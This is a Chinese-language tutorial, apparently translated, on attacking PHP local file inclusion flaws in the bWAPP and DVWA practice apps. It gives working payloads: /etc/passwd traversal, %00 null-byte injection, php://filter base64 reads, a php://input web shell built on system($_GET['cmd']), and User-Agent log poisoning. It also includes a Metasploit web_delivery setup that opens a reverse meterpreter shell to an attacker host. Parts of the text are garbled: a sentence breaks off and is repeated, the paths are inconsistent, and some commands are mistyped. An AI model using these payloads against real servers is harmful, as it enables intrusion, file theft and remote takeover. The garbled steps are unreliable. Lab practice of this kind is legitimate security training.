导语:本地文件包含(Local File Include)是php脚本的一大特色,程序员们为了开发的方便,常常会用到包含。

本地文件包含(Local File Include)是php脚本的一大特色,程序员们为了开发的方便,常常会用到包含。比如把一系列功能函数都写进fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句<?php include fuction.php?>就可以调用内部定义的函数。

本地包含漏洞是PHP中一种典型的高危漏洞。由于程序员未对用户可控的变量进行输入检查,导致用户可以控制被包含的文件,成功利用时可以使web server会将特定文件当成php执行,从而导致用户可获取一定的服务器权限。

本篇文章的主要目的是分享在服务器上使用各种技术攻击一个Web服务器的想法,当服务器遭受文件包含漏洞时,用户会通过URL在浏览器中包括一个文件。在本文中,作者将使用了两个不同的平台bWAPP(一款非常好用的漏洞演示平台,集成了各种常见漏洞和最新漏洞的开源Web应用程序,目的是帮助网络安全爱好者、开发人员和学生发现并防止网络漏洞)和DVWA(dema vulnerable web application,是一个基于PHP/MYSQL环境写的一个web应用,主要目的是帮助安全专业员在合法的环境里面去测试他们的技术和工具),其中包含文件包含漏洞,然后以四种不同的方式执行LFI攻击。

基本本地文件包含

在浏览器中打开目标IP,并在BWAPP内登录为bee:bug,然后就可以选择remote & local file Inclusion,然后点击hack。

1487302160415845.png

这时,所请求的具有RFI和LFI漏洞的网页就会被打开。你将在给定的下拉列表中找到用于选择语言的注释,当你单击go按钮时,所选的语言文件将包含在URL中。这时基本攻击操作便会执行。

http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go into 192.168.1.101/bWAPP/flfi.php?language=/etc/passwd

在基本的LFI攻击中,我们可以使用(../)或简单地(/)从目录中直接读取文件的内容,现在如果你注意到下面的截图,你会发现有浏览器中正在执行访问密码文件URL。

1487302254899364.png

空字符注入

在一些情况下,由于高安全级别,上述所讲的基本本地文件包含攻击可能起不到攻击效果。从下面的图中,大家可以观察到,当在URL中执行相同的路径时,是无法读取密码文件的。所以当我们面对这样的问题,就要采用空字符注入攻击了。

现在打开Burp Suite(是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程)来捕获浏览器中的请求,然后选择proxy tab并开始intercept,不过不要忘记在使用Burp Suite时设置browser proxy  

1487302299776629.png

Burp支持手动的Web应用程序测试的活动。它可以让你有效地结合手动和自动化技术,使你可以完全控制所有的BurpSuite执行的行动,并提供有关你所测试的应用程序的详细信息和分析。 让我们一起来看看Burp Suite的测试流程过程吧。 如下图

1487302392574351.png

现在内部BurpSuite会将拦截的数据发送到中继器。

1487302528308023.png

存在于其中面的中继器你可以做发送的请求和响应生成的分析。从一下屏幕的截图中,我们可以清楚的发现, / etc / passwd是不工作,所以我们无法读取密码文件。

1487302589760092.png

从以下截图中,可以看到我们已经通过在/ etc / passwd%00目录的末尾添加空了字符(%00)来转发请求,单击go运行之后,然后在窗口的右视图上,密码文件作为响应就被打开。

1487302660552206.png

Base64编码

现在用另一种方法来利用LFI时,当安全级别很高时,并且无法查看PHP文件内容时,可以使用以下PHP函数。

http://192.168.1.101/bWAPP/rlfi.php?language= php://filter/read=convert.base64-encode/resource=/etc/passwd

从下面的截图你可以看到密码文件的内容编码为base64,然后复制整个编码文本。

1487302724333705.png

比如本文的作者使用的就是hackbar(firefox浏览器上的一个插件)解码上面复制的文本。

1487302789339667.png

现在会有一个弹出框被打开,然后复制编码文本,并单击OK

1487302860849786.png

从以下的屏幕截图中,你可以查看结果并读取密码文件的内容。

1487302902763303.png

PHP输入

使用PHP输入函数,我们将执行注入的PHP代码来利用LFI漏洞。在hackbar的帮助下,就可以开始执行这个任务了,首先,我们需要加载目标网页的URL,如下方的屏幕截图所示。

http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go

1487302948391024.png

现在使用PHP输入函数,操作上面的URL 

http://192.168.1.101/bWAPP/rlfi.php?language=php://input&cmd=ls

然后选中复选框的enable Post data ,

,它将转发发布请求并在给定文本区域中添加cmd注释<?php system($ _ GET ['cmd']); ?>如下图所示,最后点击execute。然后被攻击者的PC目录就显示了出来。

1487302999365053.png

现在就可以通过反向连接连接受害者;在kali Linux(基于Debian的Linux发行版, 设计用于数字取证和渗透测试)中打开终端并键入msfconsole启动metasploit框架。

现在键入use exploit / multi / script / web_delivery

msf exploit(web_delivery)>set target 1
msf exploit(web_delivery)>set payload windows/meterpreter/reverse_tcp
msf exploit(web_delivery)> set lhost 192.168.0.104
msf exploit(web_delivery)> set srvport 8081
msf exploit(web_delivery)> exploit

然后复制下面窗口红色字体的文本

1487303050792145.png

将上面复制的PHP代码粘贴到URL中,如图所示,并执行它。

1487303224300324.png

当执行上面的URL时,攻击者就会在metasploit中获得受害者的meterpreter通信记录。

msf exploit(web_delivery)> session -I 1
meterpreter> sysinfo

1487303291389412.png

Proc / self / environ

如果服务器已过响应时间,还可以通过LFI重新利用,包括存储在User_Agent的/proc/self/environ文件,我们将把我们的PHP代码放置其中用于执行CMD命令。

http://192.168.1.102/dvwa/vulnerabilities/fi/?page=proc/self/environ

1487303474596157.png

现在启动burp suite 并捕获浏览器的请求,就能获取发送到中继器的数据。

1487303524370816.png

在user_Agent内,添加cmd注释<?php system($ _ GET ['cmd']); ?>,并使用GET参数192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&cmd=id发送请求,如下图所示。在窗口的右侧,你就可以看到hig

添加cmd注释<?php system($ _ GET ['cmd']); ?>在user_Agent内,并使用GET参数192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&cmd=id发送请求,如下图所示。 在窗口的右侧,你可以看到有闪亮的字体,这代表出现了相应的响应。

1487303564389415.png

源链接

Hacking more

...